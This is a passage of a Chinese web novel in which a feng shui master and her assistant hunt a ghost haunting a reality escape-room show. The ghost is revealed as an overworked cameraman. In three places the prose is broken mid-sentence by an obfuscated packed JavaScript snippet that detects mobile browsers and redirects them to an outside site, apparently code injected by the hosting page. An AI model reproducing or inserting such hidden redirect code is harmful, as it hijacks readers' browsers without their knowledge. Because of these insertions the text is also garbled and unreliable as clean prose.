手机熄屏还没有一分钟又剧烈地震动起来，来电的人仿佛催命般，带着哭腔的声音从听筒那边传来： “简灵简灵救命啊——我们节目就那个密室逃脱，它、它闹鬼啦！” 4. 多了一个人 打电话来的是秦雨宁，算是简灵在娱乐圈的第一个好朋友，她当年跟着师父在娱乐圈干的第一单就是秦雨宁所在的电影剧组。 虽然当时那部电影在拍摄期间波折不断，但最后也算苦尽甘来了，不仅票房破纪录，男女主还拿下了当年的影帝影后。 而秦雨宁和简灵一见如故，又被她救了一命，从此就把她当亲妹妹似的，什么吃的玩的用的都往她家送。 “我穿着这身去见你阿姊……合适吗？” 坐在副驾驶位的谢慈有些迟疑，白色的上衣和黑色的长裤，怎么看都觉得过于朴素了。 今天一早简灵就带着她去买了几套衣服，然后马不停蹄地赶往秦雨宁那边。 简灵打了个呵欠：“你这身已经很正经了……幸好你不怕热。” 虽然谢慈在庙里已经见过许多穿着清凉的男男女女，但让她自己穿短袖短裙还是有点别扭，最后坚持选了棉麻的长袖衬衣。 要不是怕她大夏天出去被人当成神经病，她差点就想要那件反季特卖的貂皮披袄了。 很快两人就到了录制的现场，秦雨宁跟看到救星似的一把扑到简灵身上，抱着她哀嚎：“我真不想录这个节目了呜呜……” “没事宁宁姐，我来了，别怕。”简灵安慰地拍拍她，被她拖着胳膊一步一拐地走向负责人。 “你好，简大师，雨宁已经跟我们都介绍过您了，我是《逃出生天》这档节目的总导演郭明。” 郭明也就三十出头，但执导这档节目已经三季了，质量和口碑都深受好评，可他也是第一次遇到这种事情，现在几位嘉宾都闹着罢拍，把他急得头发都要白几根。 “你好你好。”简灵艰难地抽出一只手跟郭明握了握，“我是简灵，这位是我的助理谢慈。” 一直扒拉着简灵的秦雨宁抬起头，疑惑道：“助理？你啥时候还请了个助理？你早说呀，我调一个生活助理给你用，都是经验丰富的老手了。” 另一边郭明身边的工作人员也小声嘀咕着：“风水师傅也要助理？” “呃，我这个助理比较特殊，就是……” 话音未落，不远处一个检查监控设备的工作人员脚下打滑，惊叫一声，眼看就要从梯子上跌落—— 本就在观察四周的谢慈一个弹跳冲出去，脚下轻点两步，在半空一个飞旋360度转体，伸手把那个倒霉的工作人员夹在胳膊下，飘飘然落地。 所有人都暂停了手中的动作，目瞪口呆地看着这一幕。 谢慈将瘦弱的工作人员放在地上，他连道谢都忘了，整个人还沉浸在天旋地转之中，眼神呆愣地看着救命恩人。 “小心些。”谢慈叮嘱他，随即走回到简灵身边。 简灵差点没忍住笑出声，赶紧咳嗽两声：“……嗯，身手比较好。” “太厉害了吧！这是轻功吧，轻功啊！”秦雨宁惊喜道，仔细端详着谢慈，“你比剧组那些武指还强，长得也不输我们公司的新人小花，谢慈是吧，要不要考虑进娱乐圈？我们公司……” “停停停！”简灵赶紧打住，拉过秦雨宁扯开话题，“说正事，说正事，节目还要不要录了？” “哦对对对……” 郭明拿过电脑，一边找东西一边说起这件事：“简大师你知道我们节目吧？就是嘉宾们玩密室逃脱，每期密室的主题和剧情故事都不一样，然后整个密室里面只有嘉宾和负责引导和追逐吓人的npc。” 简灵点点头表示明白，她一早就被秦雨宁安利过这档节目，主打一个沉浸式真实感，虽然播放出来的节目是经过了剪辑的，但保留了绝大多数的刺激环节，尤其是恐怖的地方，各个嘉宾的反应也很有看点。 “我们每期录完都会组织当天所有的工作人员，和嘉宾们在主题前来一张大合照，以便于后期的宣发，总人数还挺多的。” “但事情怪就怪在这里……” 郭明脸色不太好看，把电脑屏幕转向简灵，指着合影中的一个有些模糊的人影：“昨天才发现，我们的每张合影中都多了一个人。” 简灵抱着电脑仔细端详这几张合照，录影棚里灯光复杂又晃眼，大合影的镜头又拉得很远，难免有些人的脸被灯光照得模糊不清，但熟人也能大概认清谁是谁。 “第一个发现的是雨宁……”郭明点了点秦雨宁旁边的一个人影，“正中间是我、雨宁还有另一位嘉宾井善，可你看，我和雨宁中间还夹着一个人。” 秦雨宁的脸色也有些发白：“这是第一期的合影，当时郭导站中间，大家簇拥着让我也站过去，我记得特别清楚当时就是挨着郭导站的，他另一边是井善，我们中间绝对没有别人。” 兴许是为了避嫌，照片中的秦雨宁和郭明之间隔了大概两三拳的距离，那个陌生人大约后退半个身位，就硬挤在他们俩中间，绝对是不太礼貌的。 “这个只能看出来是个男性，脸有点模糊，但认识的应该能分辨出是谁吧。”简灵若有所思，“你们对过所有的工作人员了？” “对过了。”郭明很是笃定，“我把制作组包括实习生都喊来对照了一遍，没人认识他……每张合影都多了一个人，而且都是站在c位。” 简灵不怀好意地笑了笑，朝秦雨宁眨眨眼：“这鬼是不是你的私生饭啊，怎么每次都挨着你站。” “你别给我胡说八道。”秦雨宁气得揪了下简灵的耳朵，“想吓死我就直说！” 简灵急忙求饶：“好好好我错啦！” 她揉了揉受伤的耳朵，认真审视了一圈摄影棚内，问谢慈：“你有感觉到什么吗？” 谢慈沉吟片刻，摇摇头：“没有。” “奇了怪了，我也没感应到鬼怪的存在。”简灵站起身，让郭明找个工作人员带她们在棚内逛一圈，再仔细看看。 给她们当向导的正是刚才被谢慈救下的实习生，他的脸红红的，眼神飘忽，完全不敢直视谢慈，半晌才憋出一句“谢谢”。 不愧是刚出学校的大学生啊，真是单纯，简灵感慨道。 实习生很认真地带领她们转了一圈，为了检查，今天早早就把密室内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180914|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有灯都打开了：“这个影棚有两层高，每个房间和密道都是跟实景一比一打造的，布景也很细致。” “摄像头是无死角的吗？”简灵问道。 “是的，棚内的摄像头非常多，为了不影响节目效果连摄影师都没进场，全靠无死角的摄像头。” 花了点时间，三人把整个影棚都仔仔细细走了个遍，却没发现任何不详的气息。 简灵蹙眉，思索半晌才发觉不对。 她走到秦雨宁身边，比对着几期的布景地图：“这个节目每一期都是在这个影棚里拍摄的吗？” “不是的，第一期是真实景，改造了影城旁边一个搭景的工厂，中间几期是在这儿搭建的，马上要录制的最后两期也是实景。”秦雨宁说完立刻觉得不对劲，身体往简灵旁边凑近了些，“你的意思是……这个鬼一直在跟着我们节目组？！” “别紧张，不一定是跟着节目组，也可能只是跟着你呢？” 看着她嬉皮笑脸的样子，秦雨宁语塞，要不是打不过她真恨不得揍她两拳。 “对不起，不开玩笑了。”见她被吓到，简灵不敢再吓唬她，“你们今天来是要录节目吗？” 秦雨宁往椅背上一靠，叹了口气：“昨天已经录完了，是晚上看照片才发现问题，今天本来是要来补录点镜头的，结果……你也看到现在的情况，都搁置了。” “可我确实没发现什么问题，这个摄影棚……” 简灵突然噤声，猛然间颈后细细的绒毛都竖了起来，一股熟悉的阴寒之气从西面八方若隐若现地浮现。 “敌情。”谢慈压低了声音，刻意没有让秦雨宁听见。 简灵“嗯”了一声，右手在桌下掐诀，随时准备应对这突发的情况。 “简大师！又发现了情况！”郭明抱着电脑朝她们跑过来，额上冷汗直冒，他将电脑重重的放在桌上，伸手摘下黑框眼镜，狠狠抹了一把脸。 那股阴寒之气来得突然，消失的也无影无踪，简灵只能暂时放下疑虑，跟着她们凑到电脑屏幕前。 “这是昨晚的原片……”郭明这下子是真被吓到了，不仅是大合照里，现在连录像里也出现了鬼影，“我刚开机想看看昨晚的录像，会不会有其他发现，但是……卧槽，就是这一段，你们看！” 录像里的嘉宾们刚发现了一条狭窄的密道，几人排排站往里走，走到中间时突然灯熄了，随即摄像机开启了夜视形态。 镜头中变得一片黑白灰，只能看清嘉宾的轮廓，隐约能认出来都是谁。 几位嘉宾在熄灯的一瞬间吓得抱头蹲下，胆子最大的一位年轻男士起身将大家护在身后，带着他们摸索着往前走，终于在走过几个拐角后看到了一丝光线，有了目标大家也放下心来，一起簇拥着往光源那头走去。 简灵眼睛一眯，顿时就发现了问题。 密道这一段纯粹是个小迷宫，没有任何追逐战和引导npc，录制嘉宾总共有五人。 可在黑暗中的某一次转弯后，镜头中的五个人影突然变成了六个。 5. 找到你了 秦雨宁的脸倏的白了几分，她当时和另外一位女嘉宾挤在一起，被吓得全程低头完全没有看清周围的情况，不过当时本就一片黑暗，也确实看不到什么。 没想到不知道什么时候居然多了一个人！ “这、这是谁……？”她磕磕巴巴地问道，可惜没从郭明嘴里听到想要的答案。 郭明铁青着脸，额上的汗顺着鼻梁流到眼镜托，眼镜都往下滑了点：“不知道，我们刚才检查了这一段的监控，没有任何工作人员进密室……” “这两段连廊中间是这个拐角吧？”简灵对照几遍，指着地图上的一个拐点，“两边都有摄像头，只是在拐弯时会有一瞬间的切屏。” 理论上这种不算监控死角，毕竟人站在拐角处可以同时被两个监控拍到，可就是在这转弯的一瞬间出了问题，两个画面切换前后就是突然多了一个影子。 明知有问题，可简灵偏偏又丢失了刚才一瞬间感应到的气息。 “是怨灵，倒是不难对付。”简灵想了想，“但就是有点狡诈，不知道它藏在哪里，以及为什么能跟着节目组走？” 郭明惶恐：“……不会是附身在谁身上了吧！” 一瞬间他看周围的工作人员都带着几分怀疑和恐惧的眼神，生怕哪个同事突然暴起变成怨鬼给他们都掀翻。 “那没有，怨灵附在人身上是很容易被察觉到的。”简灵安慰他。 又仔细问了刚才大家有没有见到什么异样，可工作人员们都只是各司其职，没有做什么特别的事。 郭明也仔细想了想：“刚才我就是在安慰几个同事，说您今天解决完就可以继续拍了，最近不是一直在加班嘛大家都有点怨气，又遇到这种事……唉。” 简灵沉思片刻，心中缓缓升起一个想法。 “你们下期拍摄是在什么时候？”她问道。 “本来预计是后天的，这两天嘉宾们在酒店里熟悉自己的剧本。” “酒店里？” 秦雨宁点点头：“最后一期是全实景拍摄，就在影城附近，节目组和我们都住在旁边的酒店。” “对，计划是这样的。”郭明唉声叹气地补充道，“那边布景都已经准备得差不多了，本来后天就要正式开录了，但现在他们都有点抵触，我们现在考虑不知道要不要延期。” 简灵微微一笑：“不用延期。” * 《逃出生天》最后一期的录制当天，嘉宾们带着忐忑的心情来到了录制现场。 这一处实景是搭建的一个小村庄，七八户人家围绕着一个中心四合院，有一种僻静山村远离世俗世界的氛围感，天气炎热，节目组还在外围放了一些降温设备，淡淡的白雾给村子平添了一丝诡异，让大家心中更瘆。 除了秦雨宁，其他的嘉宾们多少有些坐立不安，凑在一块聊聊天缓解压力，只有一个年轻男性若有若无地被排斥在外。 知道有简灵坐镇，这两天秦雨宁的心中倒是挺踏实的，在一旁认认真真地研读自己的剧本。 “宁宁姐，不紧张啦？”简灵已经把场景内都逛了个遍，手中还拿着一份布景地图，因为场景比较大，地图上的实际距离、房屋面积、还有每个屋子的摄像头数量都标注得一清二楚。 秦雨宁摇摇头：“反正有你在，还怕什么。” “你还真相信我。”简灵笑了笑，摸出一张符箓递给她，“收好。” 虽然不知道是什么用处，但秦雨宁还是妥帖的将符箓放进口袋里。 现在就等郭明那边准备好了，简灵闲着没事，往嘉宾那边看了一眼：“宁宁姐，那个男的是谁啊？我记得他在录像里表现还挺不错的，胆子也大，一直在保护你们，怎么看起来关系不怎么样？” “井善？”秦雨宁朝那边瞥了一眼，嗤笑一声，“本来是个不错的小伙子，哼。” 原来这个井善也是这个节目后台力捧的偶像，中韩混血，从韩国当了练习生回来出道，外表年轻帅气，综艺里也待人有礼，俨然一副乖巧弟弟的样子，虽然出过些口水歌但实际也没什么能拿得出手的作品，基本靠上综艺维持偶像生命力。 但即使如此，倒也是被他走出了一条流量之路，粉丝量极大，再营销一下也能往顶流冲一冲。 可惜前些时塌房了，就在《逃出生天》才播了两三期的时候。 秦雨宁翻了个白眼：“这些男人都是一个样子，看着都人模狗样的，结果曝光出来谈恋爱脚踏好几只船，各种劈腿，还私联粉丝，现在好了吧连累了我们节目，真是晦气。” “那不能换人啊？”简灵啧啧两声。 “没办法啊，谁叫这节目就为了捧他呢，不然男主咖起码也得请苏靖希那种顶流了。”秦雨宁很嚣张地翘起二郎腿，“我还是看在郭明的面子上来的。” 想到苏靖希叫嚷着要拜她为师的那副样子，简灵忍不住笑出声：“我上次见过苏靖希，长得还行，就是人挺搞笑的。” “那家伙就是演技差了点儿，人还不错吧。” 两人闲聊一阵，郭明过来通知大家站位，准备开始测试了。 有嘉宾依然很担心，一个中年男嘉宾不耐烦地背着手踱步，看见秦雨宁带着简灵走过来，忍了忍还是给了她几分面子：“雨宁啊，这也拖了两天了，大家的时间都很宝贵，你这位朋友到底有没有想到解决办法啊？” “这也没耽误时间啊？”秦雨宁无语，“本来定的就是今天录制最后一期吧。” 男嘉宾语塞，他本人也是老演员了，这两年逐渐退居幕后，体面地维持着一副老艺术的样子，也不好意思跟秦雨宁这个正当红的年轻影后起争执。 “没事的各位哥哥姐姐，遇到事情我先上。”井善终于找到了插嘴的机会，急忙出来争着当老好人。 “你也不用上，谁都不用上。”简灵摇摇头，从包里摸出几张符箓发给各位嘉宾，“从前几期的情况来看，这家伙的目标应该是你们其中之一，随身携带这符箓能保证你们不被附身。” 她将符箓递给井善：“有我在，谁都不会有事。” 简灵的声音仿佛带着某种魔力，神奇般地安抚住了所有人的心。 郭明暂时将一颗心放回肚子里，安排好站位，举着喇叭喊：“开始测试点位。” 话音落下，摄像机陆续就位，一瞬间整片影视村所有的录制设备在无形中连成了一张大网。 而就在这一瞬间，简灵轻笑一声：“这么快就出现了。” 站在她旁边的郭明立刻紧张起来，手忙脚乱地关掉扩音器，小声询问：“什么、什么出现了？鬼吗？我、我要做些啥？” 几位嘉宾看出郭明的表情不对劲，顿时大气也不敢出一下。 简灵竖起一根手指，做了个噤声的手势，夺过郭明的扩音器：“咳咳，各部门注意，原地待命啊。” 说完把扩音器丢还给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180915|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，转头的那一刻眼底闪过一道绿光，刹那间整个世界的色彩褪去，只余下幽幽几缕乌青色在空中飘荡。 她轻轻眨了下眼睛：“找到你了。” 几息之间，众人就看到她站到了一个摄影师面前，摄影师一脸茫然地看着她举起手： “抱歉，借用一下你的机器——现！” 说话的同时一张黄符落下，只见那台摄像机诡异地颤动起来，动静越来越大，没过几秒竟然所有的录像设备都发出了剧烈的颤动！ 有工作人员惊叫一声，像是触电般被弹出去几步，他面前那台摄影机爆发出晃眼的绿光，又一瞬间消失不见。 简灵猛转头：“想跑？——谢慈！” 一道身影从人群中窜出，顺着最外围的墙壁连蹬几步翻上房顶，如电影中的轻功大侠那般在屋顶之上穿梭，往影视村中掠去。 而简灵也没慢几步，跟谢慈形成包抄之势，贴着右边那排房屋追了上去。 “被我标记上的鬼，没有一个能跑得掉。”简灵冷笑一声，那道穿梭在各个房屋的淡淡绿光在她眼中却是异常清晰，她大声呼喊谢慈往西北方向，自己则从反方向截堵。 那道绿光受制于谢慈的压力，转身往最东边那个小屋子闪去。 紧追不舍的简灵直接从另一边破窗而入，直奔放置在门口的那台摄影机：“别躲了，我知道你寄身在摄像机里了！” 绿光受惊，速度极快地窜出，直接绕过简灵往她身后的窗口飞去，那窗口竟然还放着一台小的摄像机。 简灵腰间用力落地一个转身，手中已然掐诀，她嘴角勾起，轻喊一声：“破！” 一声凄厉的嘶喊响起，绿光大盛，看起来极为痛苦地跌落在地上，还像弹球一样弹了几下。 原来影视村所有监控摄像机的布局和位置，简灵都已烂熟于心，将怨灵逼过来也是故意为之，在她破窗而入的时候就已经在那台小摄像机后悄然贴下黄符。 绿光在地上弹了弹，滚了几圈，猛然化成了一个穿着羽绒服的瘦高男鬼。 他浑身散发着乌青怨气，眼下一片乌黑，几乎看不到眼珠子的眼白里布满了血丝，像是极为震惊地看了看自己的双手和身体，抬头盯着面前的简灵，嗔目裂眦。 谢慈追过来的时候正看到怨灵暴起，猛地朝简灵扑去—— “简灵小心！” * 那道凄厉的嘶喊声也传到了等在外围的众人耳中，所有人的脸色都变得有些难看，互相对视两眼，看出了对方眼中的恐惧和不安。 有胆小的甚至后退了几步，准备发觉不对劲就跑路。 只有秦雨宁淡定地坐回遮阳伞下，还有闲心拿出剧本再研读一会儿。 跟她关系不错的另一位女嘉宾小心翼翼地靠过来，轻声问：“雨宁姐，你不担心么？” “之前是挺担心的，但她出手后就不担心了。”秦雨宁朝她笑了笑。 看秦雨宁的样子，其他人也逐渐围了过来：“这个简灵……她很厉害吗？” 秦雨宁合上剧本：“你们还记得《三盏烛台》拍摄时的那场大火么？” “记得，就是你和季星迟拿奖的那部电影吧。”郭明也靠了过来，不免也有些好奇，“当时大半个戏楼都烧没了，还上了新闻。” “是的。”秦雨宁点点头，眼睑低垂，仿佛在回忆着什么，“当时如果不是简灵，我和季星迟就已经死了。” 6. 打工人的怨念 “大师！你救救我吧大师！” 怨鬼一个飞扑，直接扑倒在简灵脚下，哭天抢地地喊着，怨气四溢。 简灵这边吓了一跳，连忙往后退了退，谢慈也愣住了，硬生生停住了朝他抓过去的手，脚下一转，挡在简灵身前。 “这……什么情况？”简灵眨眨眼，安抚地拍拍谢慈的肩膀，“好像没啥事。” 她往身后的太师椅上一座，翘起腿，用手托着下巴：“说说吧，你什么事儿啊。” 怨鬼一屁股坐在地上，发出呜呜的哭声，如果被普通人听在耳朵里就是幽怨的呜咽声，如泣如诉，意志力稍微差一点的人都可能会当场崩溃。 虽然对简灵没什么影响，可她听着也心烦，抓了一把充当道具的瓜子就往他头上砸去：“停！有话说话，别鬼哭狼嚎。” “哦……”怨鬼抹了一把脸上并不存在的泪水，虽然看着吓人，倒是真像哭了的样子，他哽咽着说，“我叫陈小志，生前是个摄影师，死后成了个摄像机。” 简灵：……？ “你还不如说你是个千年的摄像机成精了。”她面无表情的吐槽，抓起一把瓜子嗑了起来，“只听说过物化成人的，人化物是怎么个事儿你跟我说说呗。” 陈小志惊慌失措：“我不知道啊大师我真就是嘎巴一下就死了，再醒来就成了个摄像机！” 原来这个陈小志生前确实是个摄影师，每天在影城的各个剧组中工作，拍影视剧也好录节目也好本来就是在抢时间，遇到夜戏多的时候更是加班加点的赶工。 陈小志死前那个剧组资金短缺，为了缩短拍摄周期，只能让大家熬夜赶工，明星们倒是可以分开拍摄，可打工人们就只能连轴转了。 于是在连续熬了五六个大夜、每天只睡一两个小时后之后，陈小志嘎巴一下猝死了，就死在了摄影机面前。 “……等我再有意识的时候我好像就成了个摄影机了。”陈小志抬头45度望天，呆滞地回忆着，“一开始我的视线很像做梦似的，只能固定一个面，我就看到我的尸体被抬上救护车，剧组里一片混乱，四周都是嗡嗡嗡的声音，有点像什么机器在运作。” 再后来直到他的视角变成了堆放设备的仓库，再到变成了二手市场，他才确定自己真的成了一台摄像机。 “灵魂离体了。”简灵下了判断，思索片刻，“那就只有一种可能，你猝死的那一刻心怀怨念，变成了怨鬼，并且寄生在了你的摄影机上——你是有多爱你的工作啊？” 陈小志愣了一下，整个鬼忽然像是泄了气，怨气从身体的各个角落如同气球漏气般溢出。 他叹了口气：“一开始我是真喜欢这份工作。” 正如千千万万个打工人一样，陈小志大学时期就很喜欢摄影，接触这行也越来越深，毕业后几经辗转终于成了一名摄影师。 他很喜欢研究镜头，人物和背景的关系，色彩的饱和度，每次开工他都是满腔热血最积极的那一个。 可随着时间流逝，他愈发觉得这份工作中的自己只是一颗微不可见的螺丝钉罢了，什么视角什么镜头什么色彩的他也没什么发言权，导演让怎么做就怎么做，再加上天天连轴转的拍摄工作，彻底失去了对摄影的兴趣，每天只是按部就班的上工。 “唉，打工人就是这样被压榨的。”简灵对他表示同情，站起来安慰地拍了拍他，“干我们这行也见的多了，那些写字楼哪一栋不是怨念四溢的。” 陈小志抹了把脸，吸了吸鼻子：“我知道，但这些我都不在乎了，被困这么久就想出来。” 那个被闲置的摄像机直到前段时间才重新启用，接触到人的陈小志吸收了更多打工人的怨气，逐渐强大起来，甚至还能在各个录像设备之间穿梭。 “难怪只能在镜头里看到你的影子，你到底想干嘛，纯吓唬人？”简灵问道。 没想到陈小志不好意思地挠挠头：“我这不是半辈子都给明星们服务嘛，反正也死了，就在镜头里体验一把当明星的感受呗。” “……所以你才每次都抢占C位啊。”简灵无语，不过一个怨鬼也幸亏是被困在仓库里没接触到人，才能增长得这么缓慢，但再让他吸收怨气的话总有一天会长成不可控的存在。 陈小志嘿嘿一笑：“无聊嘛……但是今天谢谢您把我救出来了！大师，我能转世投胎了吗？哦不不不……我不想投胎成人了，能投胎成别的东西吗？” “你当我是孟婆啊？我可管不了投胎的事。”简灵真是哭笑不得，一把扯起陈小志，“跟我走吧，等今天工作结束了就给你超度走。” “诶好嘞！”陈小志一骨碌爬起来，兴冲冲跟着二人往外走，还好奇问道，“大师您也得工作啊？” 简灵：“那不然呢，喝西北风？” “哎，生活不易，大师卖艺。” “再啰嗦把你灭了。” …… 在普通人的眼中是看不到陈小志的，所以大家只看到简灵和谢慈两人从村里走出来，闲庭信步，好像什么事都没发生过一样。 郭明第一个迎上去，小心翼翼地往她们身后看了看，打听道：“简大师，鬼抓到了吗？” “嗯，解决了。”简灵点点头，忽然想到了刚才陈小志说的事情，转而语重心长地对郭明说，“郭导，不要压榨打工人啊，该休息要休息。” 郭明一脸茫然：“啊？” “你们节目组也连轴转好几天了吧，这么热的天，小心工作人员们别猝死了。”简灵一脸严肃地劝道。 “放心放心，我们的拍摄时间都留的很宽松，晚上大家都正常休息。”郭明虽然不知道为什么突然说这个，还是老实解释了，他擦了把汗，“大热天的，都不容易。” 后面的陈小志忽然难受地呜呜两声：“如果当时我们导演和制片能这么好说话……” 郭明离得最近，没听到陈小志的声音，只感觉到了一阵阴风夹杂着若有若无的哭声，给他又吓得冷汗直冒。 简灵转头瞥了陈小志一眼，他立刻闭嘴噤声，连哭都不敢哭。 没办法，他只是一只弱小可怜又无辜的怨鬼，从出生那刻起就养在摄像机里，更别说简灵身上有一种天生克制鬼怪的气息了。 “是啊，都不容易。” 简灵轻声重复了一句，越过郭明时不经意地拍了下他的肩膀，那股阴冷之气顷刻间散得一干二净。 回到秦雨宁身边，向她投去一个放心的眼神。 “怎么回事？”秦雨宁轻声问她。 简灵耸了耸肩：“一个可怜人，工作期间猝死了。” 秦雨宁“啊”了一声，唏嘘不已：“影视圈经常熬大夜拍戏，有时候连我们这种还能休息的演员都有点受不了，更何况工作人员了……世事无常。” “好可怜……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180916|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然一个声音横插过来，不知什么时候井善听到了她们的对话，白净精致的眉眼拧在一起，颇有几分破碎感：“我们作为明星起码收入还是不错的，他们却只拿着微薄的薪水还得这么拼命，唉。” 这一幕在秦雨宁眼中简直令人恶心，她刻意往旁边挪了挪，忍不住直截了当地开腔：“知道自己拿着巨额高薪就好好担起做一个偶像的职责，又私联又劈腿你对得起给你花钱的粉丝和观众么？” 这还是第一次有人当众提起井善的那些破事儿，一时间周围的人都安静了几分，虽然大家心中也很是瞧不起井善的作为，但敢像秦雨宁这样直接喷的也没有几个，最多也就是私下里八卦一下。 不远处井善的经纪人也没想到秦雨宁竟然一点面子都不给，脸色不虞地走过来，刚想说些什么却被井善拦了下来。 他摇了摇头，嘴唇紧抿着，半晌：“对不起，是我影响大家了。” 经纪人见他这么说，也扯着脸皮笑肉不笑的样子：“我们井善已经认识到自己的错误了，以后公司也一定会更加严格地约束他的私人问题。” 秦雨宁也不好再说什么，冷着脸站起身：“事情解决了就快录节目吧，最后一期了，别再出什么幺蛾子。” 工作人员各就各位，郭明也重新拿回他的大喇叭：“《逃出生天》最后一期《逃出刘家村》——正式开录！” 简灵坐在不远处的制冷机旁边乘凉，看着几个嘉宾在镜头前谈笑自若的模样，若有所思。 等他们过完剧情都进入村里了，她才转头问坐在地上无聊的陈小志：“陈小志，你知道这个井善吗？” “没听说过，我活着的时候他可能还没出道呢。”陈小志耸了耸肩，“或者是不太火？反正我没拍过，就对不上脸。” “怎么了，他有哪里不对劲么？”谢慈见她表情有异，问道。 她摇了摇头：“说不上来，他看起来太干净了。” 陈小志好奇：“太干净是什么意思？” “人都是复杂的。”简灵平静地叙述着，像是在跟学生讲课，“从面相上就能看出来，可能是戾气缠身，或者软弱但仁善，就像是一碗滴入了各色颜料的清水，但这个井善……就是一碗纯粹的清水。” “难道他不是人？” “不不他肯定是人，但我也感觉不上来有什么问题。”简灵干脆摸出手机，开始查他的资料。 从网上公布的资料来看，这个井善的星路也很简单明了，吃粉丝福利迅速成长，参加每个综艺都能稳步提升自己的名气，连《逃出生天》里的咖位也几乎跟秦雨宁这个影后平起平坐。 直到前段时间被爆出来恋爱劈腿又私联，很多粉丝都脱粉再回踩两脚，黑历史一夜之间被扒了个一干二净。 “这都怎么想的，本来多坦途的星路啊。”简灵感叹道。 “嗐，有什么好奇怪的。”陈小志在娱乐圈混了那么久，也算是见多识广，“这种小偶像啊都是一批一批的出现，粉丝们一捧就膨胀了呗，自己又不干人事，最后的下场就是被粉丝文化反噬——我看啊，都是活该。” 一期节目的录制很漫长，简灵都等到快要睡着了，突然村内传来一阵骚动。 没多久就有几个工作人员急匆匆地跑出来，其中一个跑到简灵面前，气喘吁吁：“简大师不好了，井善刚才过剧情的时候不知道为什么……突然昏了过去！” 7. 别搞黄我的节目 刘家村内，几个嘉宾被分成了两组，他们的任务是要调查刘家村的秘密，救出两个npc刘二和刘七，此时A组已经救下了一个，另一个还没找到踪迹。 “……若是我没见到另一个在屋内，便叫你们所有人生不如死！”院子外传来NPC中气十足的声音，把屋内躲着的嘉宾吓了一跳。 “村长莫生气，另一个在屋里睡着呢，给他灌了下药的米汤，此时应该睡得很沉。” “哼！待我先去追前头那个小子！” “怎么办，刘七不在这里。”秦雨宁所在的B组被困在一间偏房内，听完院子内npc的对话，另一位女嘉宾夏琴琴立刻紧张了起来，“村长一会儿就回来了。” 他们刚才一进来就自动锁了门，秦雨宁四处观察了一遍，思索片刻：“应该有其他密道之类的。” “好像在这里！”井善跟她们分到了一组，此时正在木床周围检查着，他仔细敲了敲，“这个底下是中空的。” 三人研究了一会儿，也没找到开关，估摸着是自动开启的机关。 “那现在怎么办？”井善问道。 秦雨宁想了想：“这个房间里只有大衣柜这一个躲藏的地方，我估计是要躲过村长的检查才能触发下一步。” “但如果村长回来看不到刘七，也算任务失败了呀。”夏琴琴担忧道，下一秒想到了一种情况，“不会是需要我们派一个人躺在床上假装刘七吧？！” 另外两人不由得点头附和：“应该是这样没错了。” 但床下明显有机关暗门，摆明了躺在床上的那个人肯定会触发单人支线任务。 看着两位女士犹疑的样子，井善主动爬到了木床上： “我来假装刘七吧，你们去衣柜里躲好。” …… 简灵听到工作人员的呼喊，腾地站起身：“怎么回事，喊医生去看了吗？” “也喊了！医务室刚都去了。”工作人员急得满头大汗，手按在耳麦上听了片刻，“医生没看出什么问题，可能得送医院检查，郭导让您去看一眼是不是……” 后面的话没说完，他咽了一下口水，很显然他们都怕井善是中邪了。 简灵迅速嘱咐谢慈：“我去看看，谢慈你在这儿看着他点。” “好。”谢慈点头，“有事喊我。” 一旁的工作人员有点懵，指了指自己的鼻子：“看着谁啊……我吗？” “是看着鬼，刚抓的那个。”简灵用下巴示意了下陈小志所在的位置。 “啊？？”可在工作人员眼中那块却是空空如也，他的脸色比刚才还要惨白三分，不自觉地后退了两步。 简灵碰了下他：“没事，走吧。” “哦哦！” 跟着工作人员穿过刘家村，直奔最中间的大四合院，院中已经围了许多人，担架也已经准备好了。 “简大师这边！”郭明急匆匆地走出偏房，这档节目开始录制前根本没有烧香拜佛，本来破事就一件接着一件，现在好了，直接录制期间嘉宾出事，他真的汗流浃背了。 还没进屋，里面就传出井善经纪人的怒嚎：“都什么时候了还中不中邪的！还不赶紧送医院啊！要是井善出了什么事延误治疗我一定告死你们节目组！” 郭明的表情也很为难，他迟疑地看了一眼简灵。 没想到简灵也只是点点头：“他其实说的没错，这种事却是应该送医院，大部分人都是突发疾病，或者中暑了之类的。” “不是中暑。”门口的医护人员接了话茬，“我们刚检查过了，井善先生的身体特征都没什么问题，看起来只是睡着了一样……具体的检查还是得去医院。” 一进去就对上经纪人那想要吃人的目光，简灵懒得跟他解释，径直走向躺在床上的井善：“给我一分钟。” 